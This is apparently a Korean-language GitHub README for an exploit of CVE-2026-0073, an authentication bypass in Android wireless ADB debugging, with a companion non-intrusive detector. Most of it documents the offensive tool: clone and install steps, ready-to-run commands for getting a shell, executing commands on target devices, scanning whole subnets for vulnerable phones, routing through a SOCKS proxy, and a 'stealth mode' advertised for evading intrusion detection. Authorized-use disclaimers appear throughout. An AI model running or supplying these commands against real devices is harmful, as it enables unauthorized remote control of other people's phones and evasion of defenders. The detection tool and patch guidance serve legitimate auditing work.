
Android ADB 무선 디버깅에 대한 제로클릭 인증 우회 익스플로잇(CVE-2026-0073). 권한이 부여된 보안 테스트를 위한 대화형 셸, 명령 실행, 네트워크 스캐닝을 제공합니다.

제로클릭 | 원격 셸 | 네트워크 스캐너 | 교육용 보안 연구 도구
윤리적 사용만 허용 – 승인된 보안 테스트
이 저장소는 승인된 보안 전문가, 블루팀, 침투 테스터만을 위한 도구를 제공합니다.
컴퓨터 시스템에 대한 무단 접근은 CFAA(미국), Computer Misuse Act(영국), TCK 243/244(터키) 및 전 세계의 유사 법률에 따라 불법입니다.
CVE-2026-0073은 Android 14, 15, 16 기기의 무선 디버깅에 영향을 미치는 Android ADB 데몬의 치명적인 인증 우회 취약점입니다. 이 결함은 TLS 인증서 검증 로직에 존재하며, EVP_PKEY_cmp()의 타입 혼동(type confusion)을 통해 공격자가 RSA 키로 구성된 기기에 대해 EC P-256 또는 Ed25519 인증서를 제시하여 인증을 우회할 수 있습니다.
이 저장소는 두 개의 별도 도구를 제공합니다: 승인된 레드팀 작전을 위한 무기화된 **exploit.py**와 블루팀 및 보안 감사를 위한 비침투적 **safedetect.py**입니다.
두 도구 모두 승인된 보안 연구 및 교육 목적으로만 제공됩니다.
| 기능 | 설명 |
|---|---|
| 스마트 포트 탐색 | 일반적인 무선 포트 자동 스캔 + mDNS 검색, CNXN 핸드셰이크로 ADB 검증 |
| TLS 1.3 우회 | 인증 우회를 위한 EVP_PKEY_cmp()의 타입 혼동 악용 |
| 이중 키 지원 | EC P-256(기본) 또는 Ed25519 인증서 |
| 대화형 셸 | 스레드 기반 I/O를 갖춘 완전한 터미널 접근 |
| 단일 명령 모드 | 하나의 명령을 실행하고 종료 - 스크립팅에 적합 |
| 네트워크 스캐너 | 취약한 기기를 찾기 위해 전체 서브넷 스캔 |
| 자동 재시도 | 지수 백오프 + 지터 + 구성 가능한 최대 재시도 |
| 수동 포트 재정의 | 자동 검색 실패 시 포트 지정 |
| 출력 캡처 | 명령 결과를 파일로 저장 |
| 컬러 출력 | colorama를 통한 전문적인 시각적 피드백 |
| 상세 디버그 | 문제 해결을 위한 상세 로깅 |
| 프록시 지원 | SOCKS5 / SOCKS4 / HTTP 프록시 호환 |
| 스레드 셸 | 논블로킹 대화형 세션 |
| mDNS 검색 | 수동적 _adb-tls-connect._tcp 서비스 탐지 |
| 영구 풀 | 구성 가능한 크기의 스레드 안전 연결 풀 |
| 세분화된 타임아웃 | 단계별 타임아웃(연결, TLS, 인증, 수신) |
| 스텔스 모드 | 지터 + SNI 로테이션 + CN 로테이션 + 키 로테이션 |
| 속도 제한 | IDS 회피를 위한 토큰 버킷 연결 스로틀 |
| JSON/CSV/HTML 보고서 | SafeDetect를 위한 SIEM 친화적 구조화 출력 |
| Android 버전 | 영향받음 |
|---|---|
| Android 14 | ✅ 예 |
| Android 15 | ✅ 예 |
| Android 16 | ✅ 예 |
| Android 13- | ❌ 아니오 |
패치: Android Security Bulletin 2026-05-01
| 기능 | exploit.py (무기화) | safedetect.py (블루팀) |
|---|---|---|
| 목적 | 완전한 익스플로잇 + 셸 접근 | 비침투적 탐지 및 감사 |
| 대상 입력 | 단일 / 서브넷 스캔 | 단일 / CIDR / 파일 / mDNS |
| CIDR 지원 | ❌ 아니오 | ✅ 예 (/20까지) |
| 포트 범위 지원 | ❌ 아니오 | ✅ 예 (--ports 5555,39311-39400) |
| 파일 기반 대상 | ❌ 아니오 | ✅ 예 (-f targets.txt) |
| mDNS 검색 | ✅ avahi-browse | ✅ zeroconf (순수 Python) |
| 자동 네트워크 검색 | ✅ 예 (인터페이스 또는 기본 /24) | ✅ 예 (인터페이스 또는 기본 /24) |
| 멀티스레드 스캔 | ✅ 예 (배치 32 스레드) | ✅ 예 (ThreadPoolExecutor) |
| ADB 포트 탐지 | ✅ CNXN 핸드셰이크 | ✅ CNXN 배너만 |
| 무선 ADB 탐지 | ✅ STLS 프로브 | ✅ STLS 프로브 (인증 없음) |
| TLS 핸드셰이크 검사 | ✅ 전체 (mTLS) | ✅ 관찰만 |
| 평문 ADB 탐지 | ❌ 아니오 (무선 가정) | ✅ 예 (tcp_banner) |
| 인증서 생성 | ✅ EC / Ed25519 | ❌ 절대 안 함 |
| 인증 우회 | ✅ EC/Ed25519 vs RSA 타입 혼동 | ❌ 절대 시도 안 함 |
| AUTH 서명 전송 | ✅ 예 | ❌ 절대 안 함 |
| 셸 접근 | ✅ 대화형 셸 | ❌ 절대 안 함 |
| 명령 실행 | ✅ 예 (-c "id") | ❌ 절대 안 함 |
| 리버스 셸 | ❌ 아니오 | ❌ 절대 안 함 |
| 대화형 셸 | ✅ 예 (스레드 I/O) | ❌ 절대 안 함 |
| 파일로 출력 | ✅ 예 (-o) | ❌ 아니오 |
| JSON 보고서 | ❌ 아니오 | ✅ 예 |
| CSV 보고서 | ❌ 아니오 | ✅ 예 |
| HTML 보고서 | ❌ 아니오 | ✅ 예 |
| JSONL 스트리밍 | ❌ 아니오 | ✅ 예 |
| 위험 점수 | ❌ 아니오 (이진 취약/안전) | ✅ 예 (CRITICAL/HIGH/MEDIUM/SECURE) |
| 권장 사항 | ❌ 아니오 | ✅ 예 (우선순위 목록) |
| 패치 지침 | ❌ 아니오 | ✅ 예 (2026-05-01) |
| 프록시 지원 | ✅ SOCKS5 / SOCKS4 / HTTP | ❌ 아니오 |
| PySocks 필요 | ✅ 예 (프록시 사용 시) | ❌ 아니오 |
| 속도 제한 | ✅ 토큰 버킷 | ❌ 아니오 |
| 연결 풀 | ✅ BoundedSemaphore | ❌ 아니오 |
| 스텔스 모드 | ✅ 지터 + SNI + CN + 키 로테이션 | ❌ 아니오 |
| SNI 로테이션 | ✅ 예 | ❌ 아니오 |
| CN 로테이션 | ✅ 예 | ❌ 아니오 |
| 키 유형 로테이션 | ✅ 예 (ec ↔ ed25519) | ❌ 아니오 |
| 포트 셔플 | ✅ 예 (스텔스) | ❌ 아니오 |
| 재시도 로직 | ✅ 지수 + 지터 | ❌ 아니오 |
| 세분화된 타임아웃 | ✅ 6가지 타임아웃 | ✅ 단일 --timeout |
| 구성 가능한 타임아웃 | ✅ connect/tls/auth/recv/retry | ✅ --timeout만 |
| 동시성 제어 | ✅ --pool-size | ✅ --concurrency |
| 상세 모드 | ✅ 예 | ✅ 예 |
| 조용 모드 | ❌ 아니오 | ✅ 예 (-q) |
| 컬러 출력 | ✅ 예 (ANSI) | ✅ 예 (ANSI) |
| 배너 | ✅ 전체 배너 | ✅ 안전 탐지 배너 |
| 루트 필요 | ✅ 예 (강제 아님) | ❌ 아니오 |
| 의존성 | cryptography, pysocks (선택) | cryptography (선택), zeroconf (선택) |
| 선택적 모듈 | PySocks | cryptography, zeroconf |
| 크로스 플랫폼 | ✅ Linux / macOS / Windows | ✅ Linux / macOS / Windows |
| Python 버전 | 3.8+ | 3.8+ |
| 용도 | 레드팀 / 침투 테스트 | 블루팀 / 감사 |
| 윤리적 면책 조항 | ✅ 배너 + 주석 | ✅ 배너 + 푸터 |
| 포렌식 흔적 | 높음 (TLS, 인증, 셸) | 최소 (배너 프로브만) |
| 법적 위험 | 높음 (능동적 익스플로잇) | 낮음 (수동적 탐지) |
| 권장 대상 | 승인된 침투 테스트 | 규정 준수 / IR / 감사 |
git clone https://github.com/tc4dy/CVE-2026-0073-PoC-Exploit
cd CVE-2026-0073-PoC-Exploit
pip install -r requirements.txt
python3 exploit.py
#or
python3 safedetect.py
cryptography
colorama
zeroconf
pysocks
#Basic - One Shot Exploit
python exploit.py --target 192.168.1.100
#Interactive Shell
python exploit.py -t 192.168.1.100
#Execute Single Command
python exploit.py -t 192.168.1.100 -c "id" -o result.txt
#Scan Entire Network
python exploit.py --scan --interface eth0
#Manual Port + Verbose
python exploit.py -t 192.168.1.100 -p 39311 -v
#Ed25519 Certificate
python exploit.py -t 192.168.1.100 --key-type ed25519
#Non-Interactive Mode (Exit After Command)
python exploit.py -t 192.168.1.100 -c "whoami" --no-interactive
#Proxy + Rate Limit
python exploit.py -t 192.168.1.100 --proxy socks5://127.0.0.1:9050 --rate-limit 5
#Stealth Mode with Custom Delay
python exploit.py --scan --stealth --stealth-delay 0.1,1.5
#Stealth + Proxy + Pool Tuning
python exploit.py -t 192.168.1.100 --stealth --proxy socks5://127.0.0.1:9050 --pool-size 128 --connect-timeout 8
#SafeDetect - Single Host
python safedetect.py -t 192.168.1.100
#SafeDetect - Full Subnet
python safedetect.py -t 192.168.1.0/24 -o report.json
#SafeDetect - mDNS Only (No Targets)
python safedetect.py
#SafeDetect - Custom Ports + HTML Report
python safedetect.py -t 192.168.1.10 --ports 5555,39311-39400 -o audit.html -v
exploit.py| 인수 | 단축 | 기본값 | 설명 |
|---|---|---|---|
--target | -t | None | 대상 IP 주소 |
--port | -p | Auto | 무선 디버깅 포트 |
--command | -c | None | 단일 명령 실행 |
--output | -o | None | 출력을 파일로 저장 |
--verbose | -v | False | 디버그 로깅 활성화 |
--no-interactive | - | False | 명령 실행 후 종료 |
--scan | - | False | 취약한 기기를 찾기 위해 네트워크 스캔 |
--interface | -i | None | 스캔용 네트워크 인터페이스 |
--key-type | - | ec | 인증서 유형 (ec 또는 ed25519) |
--max-retries | - | 3 | 최대 재시도 횟수 |
--no-auto-port | - | False | 자동 포트 검색 비활성화 |
--proxy | - | None | 프록시 URL (socks5://, socks4://, http://) |
--rate-limit | - | 0.0 | 초당 최대 연결 수 (0 = 무제한) |
--pool-size | - | 64 | 최대 동시 소켓 수 |
--connect-timeout | - | 10.0 | TCP 연결 타임아웃(초) |
--tls-timeout | - | 10.0 | TLS 핸드셰이크 타임아웃(초) |
--auth-timeout | - | 5.0 | ADB 인증 타임아웃(초) |
--recv-timeout | - | 5.0 | 소켓 수신 타임아웃(초) |
--retry-base | - | 1.0 | 기본 재시도 지연(초) |
--retry-max | - | 30.0 | 최대 재시도 지연(초) |
--stealth | - | False | 스텔스 모드 활성화 |
--stealth-delay | - | 0.05,0.75 | 작업 간 최소,최대 지연 |
safedetect.py| 인수 | 단축 | 기본값 | 설명 |
|---|---|---|---|
--target | -t | None | 호스트, IP 또는 CIDR |
--file | -f | None | 대상이 포함된 파일 |
--scan | - | False | 로컬 네트워크 + mDNS 자동 검색 |
--interface | -i | None | --scan용 인터페이스 |
--ports | - | Auto | 프로브할 포트/범위 |
--output | -o | None | 보고서 파일 (.json/.csv/.html/.jsonl) |
--timeout | - | 5.0 | 프로브당 타임아웃 |
--concurrency | - | 32 | 최대 동시 워커 수 |
--verbose | -v | False | 상세 출력 |
--quiet | -q | False | 조용 모드 |
--no-mdns | - | False | mDNS 검색 건너뛰기 |
제 다른 익스플로잇 저장소도 확인해 보세요: